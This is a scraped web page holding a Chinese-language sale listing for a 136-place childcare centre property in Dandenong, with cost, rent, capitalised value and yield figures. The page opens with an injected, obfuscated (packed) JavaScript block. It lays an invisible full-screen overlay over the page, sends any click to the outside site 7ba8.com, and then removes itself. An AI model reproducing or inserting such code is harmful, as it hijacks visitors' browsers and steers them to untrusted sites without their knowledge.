<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>幼儿园物业出售（136席位）– Dandenong ? 丰富的信誉良好的租赁机会
? 出色的租金收益率
? 受政府支持、推动的工业部门
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? 人口增长的主要区域
? 拥有亚马逊等市区主力租户
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? 一个绝佳的投资机会 物业概况
位于商业和零售区的主要入口点之一
占地约1133平方米的大型场地，位于人口增长最强的郊区之一，拥有墨尔本最大的社区，商业和基础设施发展计划
强大的高租金收入潜力
现有批文批准了136名儿童（目前已经递交了交修正案要求获得158个席位），接收从3岁前到学龄前幼儿
收入：预计租金每年426,000澳元+支出(担保40万租约) 收购成本
土地价格 2,150,000澳元
印花税 118,250澳元
建筑 2,750,000澳元
总成本为5,018,250澳元 资本化价值
年租金 426,000
上限费率（5%） 8,532,000
费用为5,018,250
股权价值3,513,750
ROC- 70 %
租金收益率
总成本5,018, 250
租金 426,000
净租金收入率8.48% 政府支持的商业投资
据Colliers International的一份新报告称，儿童保育行业正处于创纪录的投资年度，该报告指出该行业已成为“真正的房地产投资类” 出售价：215万
联系方式：
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中文名：澳大利亚麦克西姆集团公司
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